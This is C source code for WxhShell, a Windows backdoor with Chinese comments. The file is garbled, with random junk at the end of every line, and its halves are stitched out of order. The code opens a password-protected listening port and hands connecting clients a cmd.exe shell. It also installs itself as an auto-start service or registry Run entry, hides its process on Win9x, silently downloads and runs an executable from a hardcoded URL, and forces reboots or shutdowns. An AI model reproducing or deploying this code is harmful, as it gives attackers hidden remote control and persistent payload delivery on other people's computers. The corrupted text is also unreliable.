    else { AMbKN2h1f  
    closesocket(wsh); DMF?5GX  
    ExitThread(0); J[ e}  
    } F&=I7i  
    break; ; cGv] A+  
    } U91 &|  
  // 获取shell k2EHco0BG  
  case 's': { K :1g"  
    CmdShell(wsh); 9#v-2QY  
    closesocket(wsh); F>(qOH.I  
    ExitThread(0); E rr4 %-  
    break; <Z{vC  
  } :PgF  
  // 退出 7JbY}@  
  case 'x': { =nJ{$%L\x,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0CPxIF&  
    CloseIt(wsh); To3^L_v"  
    break; 3>RcWy;1i  
    } GwcI0~5  
  // 离开 fuq( 2&^  
  case 'q': { "6?lQw e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iaY5JEV:CA  
    closesocket(wsh); aXMv(e+  
    WSACleanup(); yC0C`oC  
    exit(1); JZ`>|<W  
    break; IikG /8lP  
        } V?OuIg%=:  
  } :1:3Svb<Y  
  } 8]S,u:E:N  
3^{8_^I  
  // 提示信息 }1 $hxfb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + c`AE  
} M2}np  
  } O`cdQu  
H5~1g6b@  
  return;  }VF#\q  
} `YPe^!` $  
]JH64~a  
// shell模块句柄 9/#0?(K8  
int CmdShell(SOCKET sock) 1o8wy_eSs  
{ 0s1'pA'  
STARTUPINFO si; 2;8Xz 6T  
ZeroMemory(&si,sizeof(si)); $30oc Tt{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rv98\VD"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }*NF&PD5RU  
PROCESS_INFORMATION ProcessInfo; *P`v^&  
char cmdline[]="cmd"; xdPcsox~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YQ; cJ$  
  return 0; N1%p"(  
} bG "H D?A_  
" jT#bIm  
// 自身启动模式 1@xP(XS  
int StartFromService(void) Q8p=!K  
{ UEzsDJu  
typedef struct C;9t">prk  
{ ny)]GvxI  
  DWORD ExitStatus; WE0}$P:  
  DWORD PebBaseAddress; ?]^zD k@~  
  DWORD AffinityMask; @<2d8ed  
  DWORD BasePriority; Bz?l{4".  
  ULONG UniqueProcessId; c7\VTYT  
  ULONG InheritedFromUniqueProcessId; zxkM'8JC  
}   PROCESS_BASIC_INFORMATION; K}x_nW  
1pK6=-3w3  
PROCNTQSIP NtQueryInformationProcess; _3/ec]1  
Jm4#V~w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5k]XQxc6_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w!\3ICB  
TXjloGv^  
  HANDLE             hProcess; 'TL2%T/)t  
  PROCESS_BASIC_INFORMATION pbi; 9e!vA6Fx  
9RH"d[%yc}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BWh }^3?l  
  if(NULL == hInst ) return 0; L1sqU-gt  
K1OkZ6kl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r$ =qQ7^#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zN%97q_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6gnbkpYi  
&f-hG3/M  
  if (!NtQueryInformationProcess) return 0; ND5$bq Nu?  
\@K~L4>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gw^'{b  
  if(!hProcess) return 0; eJHp6)2  
P>(P2~$Y"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VevNG *  
Fi4UaJ3K  
  CloseHandle(hProcess); rFey4zzz  
pLnB)z?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *t(4 $  
if(hProcess==NULL) return 0; wO7t!35  
4/'N|c.  
HMODULE hMod; XV>@B $hu  
char procName[255]; 'Dath>Y=  
unsigned long cbNeeded; }$&xTW_  
6V1:qp/6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $e }n  
l'6d4 DZ  
  CloseHandle(hProcess); !77NG4B  
)MSZ2)(  
if(strstr(procName,"services")) return 1; // 以服务启动 @E%DP9.I  
H=p`T+  
  return 0; // 注册表启动 -R0/o7  
} zT[6eZ8m  
&J$##B  
// 主模块 (u&`Ij9  
int StartWxhshell(LPSTR lpCmdLine) e4\dpvL  
{ ^2S# Uk  
  SOCKET wsl; Z(e ^iH  
BOOL val=TRUE; ?qmp_2:WU  
  int port=0; _'!kuE,*1  
  struct sockaddr_in door; GS;%zdH~  
e)@3m.  
  if(wscfg.ws_autoins) Install(); (RE2I  
7O)" `  
port=atoi(lpCmdLine); FOH@OY  
w<NyV8-hL  
if(port<=0) port=wscfg.ws_port; <??umkV  
6o=G8y  
  WSADATA data; gl8Ib<{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q`ME@vz  
G-u]L7t&1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^A9 M;q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p=Y>i 'CG  
  door.sin_family = AF_INET; ;b0NGa(k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;a r><w  
  door.sin_port = htons(port); Elb aFbr  
,DQjDMjrf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O=}g 4c  
closesocket(wsl); XRtD< jlA"  
return 1; nlGHT  
} ^U@~+dw  
T%IK/"N|+  
  if(listen(wsl,2) == INVALID_SOCKET) { ^YlI>_3s  
closesocket(wsl); TQ ]dW  
return 1; Z9K})47T  
} 0N;%2=2_E  
  Wxhshell(wsl); -SCM:j%h  
  WSACleanup(); ~F!,PM/  
H:QhrL+7_  
return 0; Z>P*@S,6G  
$_Nf-:D*  
} w0lT%CPx  
nh.32q]  
// 以NT服务方式启动 /M=3X||  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *[}^[J x  
{ /7"I#U^u/  
DWORD   status = 0; [k<1`z3  
  DWORD   specificError = 0xfffffff; {tiKH=&J  
[}z,J"Un  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZZxk]D<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :"1|AJo)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]a'99^?\  
  serviceStatus.dwWin32ExitCode     = 0; zjl!9M!  
  serviceStatus.dwServiceSpecificExitCode = 0; h6:#!Rg  
  serviceStatus.dwCheckPoint       = 0; [?0d~Q(R#  
  serviceStatus.dwWaitHint       = 0; cU.9}-)  
pUYM}&dX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B?bW1  
  if (hServiceStatusHandle==0) return; >jg0s)RA'  
r! %;R?c  
status = GetLastError(); ?C-Towo=i  
  if (status!=NO_ERROR) 78 f$6J q  
{ kz} R[7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U7h(`b  
    serviceStatus.dwCheckPoint       = 0; B1!kn}KlL{  
    serviceStatus.dwWaitHint       = 0; x;s0j"`Jb  
    serviceStatus.dwWin32ExitCode     = status; p@ NaD=9  
    serviceStatus.dwServiceSpecificExitCode = specificError; pzZk\-0R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  #xh_  
    return; q5DEw&UZJ  
  } 4rg2y]  
a_~=#]a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4?\:{1X=  
  serviceStatus.dwCheckPoint       = 0; 49H+(*@v@  
  serviceStatus.dwWaitHint       = 0; p>w]rE:}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &7e)O=  
} qet>1<  
o5U(i  
// 处理NT服务事件,比如:启动、停止 X}ma]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WJH\~<{mP  
{ )!:sFa 1  
switch(fdwControl) c2nKPEX&5  
{ zAzP,1$?  
case SERVICE_CONTROL_STOP: mHc>"^R  
  serviceStatus.dwWin32ExitCode = 0; FS6`6M.K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dt@P>rel  
  serviceStatus.dwCheckPoint   = 0; 2Os1C}m  
  serviceStatus.dwWaitHint     = 0; q?qC  
  { 'a6<ixgo0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O^Q7b7}y  
  } nI.x  
  return; :Qt  
case SERVICE_CONTROL_PAUSE: Q4*?1`IsR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ElhRF{R  
  break; !>,m&O-x  
case SERVICE_CONTROL_CONTINUE: "hxN!,DEZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HBS\<}  
  break; FY{e2~gi  
case SERVICE_CONTROL_INTERROGATE: CC=d I  
  break; Mn1Pt|_@!  
}; #G" xNl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O/s $SX%g  
} d\{>TdyF  
Hb} X-6N  
// 标准应用程序主函数 yZr M.%V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IYn]U4P.  
{ `]Fx.)C#  
Dl(3wgA  
// 获取操作系统版本 K_)eWf0a  
OsIsNt=GetOsVer(); R0ID2:i]F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 58\&/lYW  
XR2~Q)@  
  // 从命令行安装 ZYU=\  
  if(strpbrk(lpCmdLine,"iI")) Install(); `*", <  
6tHO!`}1  
  // 下载执行文件 'm1N/)F  
if(wscfg.ws_downexe) { B~]5$-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qd}m`YW-f$  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7w,FX.=;cv  
} DI+]D~N  
Unj.f>U  
if(!OsIsNt) { voP7"Dl[  
// 如果时win9x,隐藏进程并且设置为注册表启动 wN1niR'  
HideProc(); |F,R&<2  
StartWxhshell(lpCmdLine); dI&!e#Y  
} j`^$#  
else IG)s^bP  
  if(StartFromService()) QO;N9ZI  
  // 以服务方式启动 zJP6F.Ov!  
  StartServiceCtrlDispatcher(DispatchTable); @k[R/,#'[t  
else b2aF 'y/  
  // 普通方式启动 EVp,Q"V]  
  StartWxhshell(lpCmdLine); 3bk|<7tl  
B`*ZsS=R-  
return 0; 5;0g!&-t#  
} @KX \Er  
*.L81er5~  
kt`nbm|aw  
];.pK  
=========================================== 7+X:LA~U  
"k]CW\H6z  
d ;vT ~;  
O"Ku1t!  
il|1a8M2~  
* #jsgj[  
" | N0Z-|  
q0f3="  
#include <stdio.h> L}@c6fHG  
#include <string.h> :RoBl3X=  
#include <windows.h> y_\p=0t8  
#include <winsock2.h> (WJ${OW  
#include <winsvc.h> ? A(QyaKz  
#include <urlmon.h> xX*H7#  
x77l~=P+!  
#pragma comment (lib, "Ws2_32.lib") fP.F`V_Y  
#pragma comment (lib, "urlmon.lib") XGP6L0j  
^Ge+~o?x  
#define MAX_USER   100 // 最大客户端连接数 j'9"cE5_  
#define BUF_SOCK   200 // sock buffer i4^o59}8  
#define KEY_BUFF   255 // 输入 buffer TXe$<4"  
XsnF~)YW  
#define REBOOT     0   // 重启 0-~\ W(  
#define SHUTDOWN   1   // 关机 X]\ \,  
O'Js}  
#define DEF_PORT   5000 // 监听端口 EEGy!bff  
ZPbpp@,  
#define REG_LEN     16   // 注册表键长度 nstUMr6  
#define SVC_LEN     80   // NT服务名长度 6iCrRjY*  
B6wRg8  
// 从dll定义API | WvUq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D9j3Xu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q}-~O1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dtpoU&?6s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XC.%za8  
d&Ef"H  
// wxhshell配置信息 \ Y"Wu  
struct WSCFG { 2WU@*%sk"  
  int ws_port;         // 监听端口 /yM:| `tT  
  char ws_passstr[REG_LEN]; // 口令 m1Y >Nj[f  
  int ws_autoins;       // 安装标记, 1=yes 0=no a4irokJv#  
  char ws_regname[REG_LEN]; // 注册表键名 R {-5Etv  
  char ws_svcname[REG_LEN]; // 服务名 BJ% eZ.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ! u:Weoz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qUly\b 47  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e^.Fa59  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (V4 ~`i4V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &hRvol\J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xO-+i\ ZV  
y~)1 1]'>  
}; aH^RoG}  
liXdNk8  
// default Wxhshell configuration wE~V]bmtW  
struct WSCFG wscfg={DEF_PORT, ;qrB\j"  
    "xuhuanlingzhe", Dk?\)lD`  
    1, 4'0Dr++  
    "Wxhshell", HuOIFv  
    "Wxhshell", 66fO7OJs  
            "WxhShell Service", ~8lwe*lNV  
    "Wrsky Windows CmdShell Service", r/SG 4  
    "Please Input Your Password: ", _-EyT  
  1, r#XT3qp$d  
  "http://www.wrsky.com/wxhshell.exe", ?M[ A7?  
  "Wxhshell.exe" ;VWAf;U;B  
    }; $sEy%-  
Uw 47LP  
// 消息定义模块 St e=&^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y.*y9)#S6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /iX+R@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tg{H9tU;  
char *msg_ws_ext="\n\rExit."; )oyIe)  
char *msg_ws_end="\n\rQuit."; *8LMn   
char *msg_ws_boot="\n\rReboot..."; 7}X[ 4("bB  
char *msg_ws_poff="\n\rShutdown..."; xD6@Qk  
char *msg_ws_down="\n\rSave to "; Rz.?i+  
L21VS ,#I  
char *msg_ws_err="\n\rErr!"; 9=UkV\m)  
char *msg_ws_ok="\n\rOK!"; b j'Xg  
>uSy  
char ExeFile[MAX_PATH]; ayiu,DXx  
int nUser = 0; %mZ{4<7  
HANDLE handles[MAX_USER]; ,v{rCxFtvU  
int OsIsNt; uvrB5=u  
p`l0?^r c"  
SERVICE_STATUS       serviceStatus; o_'p3nD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iRrl^\qn  
kkQVNphc  
// 函数声明 }I :OsAw  
int Install(void); -]QD|w3dp  
int Uninstall(void); HaP}Y :p  
int DownloadFile(char *sURL, SOCKET wsh); W VI{oso#  
int Boot(int flag); -?0qf,W.  
void HideProc(void); bua+I;b  
int GetOsVer(void); gM _hi  
int Wxhshell(SOCKET wsl); ]wtb-PC  
void TalkWithClient(void *cs); *NG+L)g  
int CmdShell(SOCKET sock); <WcR,d  
int StartFromService(void); U-|NY  
int StartWxhshell(LPSTR lpCmdLine); uXKERzg  
>k'c' 7/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  jrS[f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1&- </G#  
{DR`;ea])1  
// 数据结构和表定义 [<6S%s  
SERVICE_TABLE_ENTRY DispatchTable[] = B#M5}QT|2  
{ Rp5#clsy  
{wscfg.ws_svcname, NTServiceMain}, ?#45wC  
{NULL, NULL} DK$s&zf  
}; $f zaPD4.  
f\jLqZY  
// 自我安装 G%s 2P.cd  
int Install(void) Iu <?&9t  
{ F F|FU<  
  char svExeFile[MAX_PATH]; Pqn@ST  
  HKEY key; `5C,N!d8X  
  strcpy(svExeFile,ExeFile); lR(+tj)9uO  
= 17t- [  
// 如果是win9x系统,修改注册表设为自启动 D}mjN=Y  
if(!OsIsNt) { "OdXY"G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C<P%CG&;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2Tagr1L  
  RegCloseKey(key); }&[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i(NdGL#P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fP. 6HF_p_  
  RegCloseKey(key); zR{W?_cV  
  return 0; aXoVy&x=  
    } jJ5W>Q1mK$  
  } K|Di1)7=/  
} oomT)gO 6*  
else { 4B^ZnFJ%m  
u4/kR  
// 如果是NT以上系统,安装为系统服务 fc |GArL#}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aL&n[   
if (schSCManager!=0) o:_Xv.HRZo  
{ W`u[h0\c  
  SC_HANDLE schService = CreateService zlEX+=3  
  ( j!7{|EQFcl  
  schSCManager,  t$De/Uq  
  wscfg.ws_svcname, 0DJ+I  
  wscfg.ws_svcdisp, +Nt2 +Y:O  
  SERVICE_ALL_ACCESS, LRNh@g4ei  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,d{"m)r<  
  SERVICE_AUTO_START, iy%ZQ[Un  
  SERVICE_ERROR_NORMAL, IkGfnXJ  
  svExeFile, `a2n:F  
  NULL, J{k79v  
  NULL, o*o/q],C9-  
  NULL, GhIKvX_N  
  NULL, ;ShJi  
  NULL 28UU60  
  ); JW3B'_0  
  if (schService!=0) /so8WRu.  
  { iLkZ"X.'|1  
  CloseServiceHandle(schService); %|^fi8!:|  
  CloseServiceHandle(schSCManager); Qx+%"YO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dF2nEaN0%  
  strcat(svExeFile,wscfg.ws_svcname); 4x 8)gE   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =fO5cA6Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !lj| cT9  
  RegCloseKey(key); PEW=@xj2y  
  return 0; 'LE =6{#  
    } }n4V|f-  
  } LILQ\I<<'  
  CloseServiceHandle(schSCManager); 3GUZ;jdn  
} 3U7 *>H  
} T>NDSami  
vy\RcP  
return 1; .8by"?**  
} *tK\R&4,4s  
,f[>L|?e  
// 自我卸载 Z )SY.iK.  
int Uninstall(void) s]f6/x/~  
{ &2{ tF  
  HKEY key; !Rhl f.x  
,}K7Dg^1  
if(!OsIsNt) { }#&#^ B#?O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v#U"pn|M  
  RegDeleteValue(key,wscfg.ws_regname); 7G/1VeVjB  
  RegCloseKey(key); E.Jkf\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qm Ce>+  
  RegDeleteValue(key,wscfg.ws_regname); n}!PO[m~  
  RegCloseKey(key); !& z(:d  
  return 0; V7Ek-2M  
  } iqe%=%ZR  
} V4KMOYqm  
} 4*Hgv:0?kI  
else { 0 g?z&?  
'|Kmq5)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =AEBeiz  
if (schSCManager!=0) ?B}{GL2)  
{ wfq7ob4^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /#m=*&!CB  
  if (schService!=0) &L,nqc\3D5  
  { O8j_0  
  if(DeleteService(schService)!=0) { )'6DNa[y  
  CloseServiceHandle(schService); t+1 %RyKFB  
  CloseServiceHandle(schSCManager); TjwBv6h  
  return 0; ^$'z!+QRM  
  } p IU&^yX>  
  CloseServiceHandle(schService); .ZJRO>S  
  } k[:bQ)H  
  CloseServiceHandle(schSCManager); <U!`J[n%  
} ^HqY9QT2  
} Ljx(\Cm  
-6n K<e`  
return 1; ,I%g|'2  
} +i@y@<l:+  
4Dw@r{  
// 从指定url下载文件 mg$]QnbAnH  
int DownloadFile(char *sURL, SOCKET wsh) >JC  
{ s#)5h0t#du  
  HRESULT hr; <7j87  
char seps[]= "/"; BA%pY|"Q  
char *token; '<ZlGFt'n  
char *file; 'gPzm|f|t@  
char myURL[MAX_PATH]; iX2]VRNxl  
char myFILE[MAX_PATH]; 5yzv|mrx  
gT#&"aP5S  
strcpy(myURL,sURL); ,Qe?8En[  
  token=strtok(myURL,seps); c0;t4( &8  
  while(token!=NULL) 'VlDh`<W  
  { 4:dH]  
    file=token; '~&9D:(  
  token=strtok(NULL,seps); #py[  
  } |ayVjqJ*  
S'_-G;g.  
GetCurrentDirectory(MAX_PATH,myFILE); 7:)n$,31FW  
strcat(myFILE, "\\"); s3R(vd  
strcat(myFILE, file); %sX$ nmi3  
  send(wsh,myFILE,strlen(myFILE),0); =p=rg$?  
send(wsh,"...",3,0); d\ 1Og\U|A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qT`k*i?  
  if(hr==S_OK) %Ntcvp)  
return 0; N#DYJ-~*  
else &' Ne! o8  
return 1; 9&_<f}ou  
(<}&DE  
} /q5v"iX]T  
37|&?||  
// 系统电源模块 ak |WW]R  
int Boot(int flag) z2QP)150  
{ s1h/}  
  HANDLE hToken; [N#, K02mk  
  TOKEN_PRIVILEGES tkp; 49dd5ddr  
b#hDHSdZ,  
  if(OsIsNt) { lMg+R<$~I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @]-jl}:]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /eOzXCSws  
    tkp.PrivilegeCount = 1; 1M 781  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZGYr$C~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VI'hb'2  
if(flag==REBOOT) { & '}/f5s|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,kF}lo)  
  return 0; 1][S#H/?  
} Gr^E+#;  
else { hnc@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -2A(5B9Fq  
  return 0; _;UE9S%  
} \3S8 62B7  
  }  lS'-xEv?  
  else { % <q w  
if(flag==REBOOT) { kT'u1q$3Vo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) elFtBnL'  
  return 0; 'zGo?a  
} s#tZg  
else { 0iwZT&O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^k#P5oV  
  return 0; Gch[Otq]%  
} lo,$-bJ,<,  
} h_T7% #0  
JaL%qco  
return 1; NwG= <U*  
} ,H19`;Q  
e[ /dv)J  
// win9x进程隐藏模块 3 YFU*f,  
void HideProc(void) XAe% m^  
{ <-D0u?8  
w$`5g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e^[H[d.WMC  
  if ( hKernel != NULL ) 1PP $XJtyD  
  { ~ ArP9 K "  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dRaNzK)M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8peDI7[|  
    FreeLibrary(hKernel); \DD0s8  
  } V` 1/SQX  
q11>f   
return; tGl;@V@Qj  
} O2BDL1o  
hijgF@  
// 获取操作系统版本 GrAujc5|  
int GetOsVer(void) P}TI q#  
{ mHBnC&-/  
  OSVERSIONINFO winfo; :E@3Vl#U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cvfr)K[0  
  GetVersionEx(&winfo); E7Y`|nT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :9_L6  
  return 1; |Clut~G  
  else f' aVV!  
  return 0; D*F4it.  
} j.L-{6_s>~  
Ffv`kn@  
// 客户端句柄模块 PUBWZ^63  
int Wxhshell(SOCKET wsl) 0 rXx RQ  
{ [5MJwRM^!;  
  SOCKET wsh; P5#r,:zL  
  struct sockaddr_in client; d~:!#uWyFk  
  DWORD myID; J<dVT xK12  
Q'YH>oGh^  
  while(nUser<MAX_USER) '=G|Sq^aO  
{ Z]j*9#G1s  
  int nSize=sizeof(client); .72S oT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S!G(a"<W  
  if(wsh==INVALID_SOCKET) return 1; /`6ZAo m9  
"gne_Ye.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g)_e]&  
if(handles[nUser]==0) |*'cF-lp6v  
  closesocket(wsh); MF'$~gxo  
else t $xY #:  
  nUser++; v%s`~~u%^  
  } (''M{n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~YRDyQ:%T  
Mc%Nf$XQ  
  return 0; UF<uU-C"  
} fe_yqIdk  
$n+w$CI)  
// 关闭 socket ;ml)l~~YU  
void CloseIt(SOCKET wsh) ;r>snJ=M  
{ +tk{"s^r*  
closesocket(wsh); .$%Soyr?,  
nUser--; 4)"n RjGg  
ExitThread(0); }f8Uc+  
} u#V5?i  
`> ?ra-  
// 客户端请求句柄 { Q`QX`#  
void TalkWithClient(void *cs) f3Hed  
{ Ju3*lk/j-  
1QU:?_\6@t  
  SOCKET wsh=(SOCKET)cs; <X7FMNr[  
  char pwd[SVC_LEN]; 5K<5kHpvJ{  
  char cmd[KEY_BUFF]; ni6{pK4Wqm  
char chr[1]; zSSB>D  
int i,j; @*Wh  
`KK>~T_$J  
  while (nUser < MAX_USER) { 1Lg-.-V  
y6IXdW  
if(wscfg.ws_passstr) { g|<]B$yN#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yfx7{naKC`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e|p$d:#!  
  //ZeroMemory(pwd,KEY_BUFF); USVqB\#  
      i=0; KTn}w:+B\  
  while(i<SVC_LEN) { mN>h5G>a  
~d%Pnw|  
  // 设置超时 3v mjCm  
  fd_set FdRead; )Jk0v_ X  
  struct timeval TimeOut; mXUGe:e8  
  FD_ZERO(&FdRead); q@@T]V6  
  FD_SET(wsh,&FdRead); 6q]5Es<  
  TimeOut.tv_sec=8; 72X0Tq 4  
  TimeOut.tv_usec=0; 0qo)."V{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T.We: ,{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v|Yh w  
&g.+V/<[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3$m4q`J  
  pwd=chr[0]; 1\g6)|R-+  
  if(chr[0]==0xd || chr[0]==0xa) { P#_sg0oJF  
  pwd=0; 9(5Oe H6o?  
  break; GHsilba  
  } n[]tXrhU  
  i++; ) :\xHR4  
    } Q"t<3-"  
u6MzRC  
  // 如果是非法用户,关闭 socket X83 w@-$}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UQ+?\wi*  
} VH(S=G5Yb  
 -Y H<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B7]C]=${m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;Wl+ zw  
*_KFW@bC:  
while(1) { ^ mS o1?<  
|6(ZD^w  
  ZeroMemory(cmd,KEY_BUFF); B"v.* %"&/  
uFLx  
      // 自动支持客户端 telnet标准   nIoPC[%_  
  j=0; `8I&7c  
  while(j<KEY_BUFF) { g=]u^&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oer^Rk  
  cmd[j]=chr[0]; .>mr%#p  
  if(chr[0]==0xa || chr[0]==0xd) { sp ]zbX?  
  cmd[j]=0; KLL;e/Gf  
  break; [<{Kw=X__2  
  } x)JOClLr  
  j++; cP}KU5j  
    } u&9 r2R959  
}>'PT -  
  // 下载文件 K"0PTWt  
  if(strstr(cmd,"http://")) { >NKe'q<)3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q-`RI*1]  
  if(DownloadFile(cmd,wsh)) LK;k'IJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]b=P=  
  else g"L|n7_b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pFm=y#!t  
  } X5`AGyX  
  else { /MF! GM  
hTM[8 ~<^  
    switch(cmd[0]) { ~O]]N;>72"  
  !Mu|mz=  
  // 帮助 PZm:T+5H  
  case '?': { PNA\ TXT  
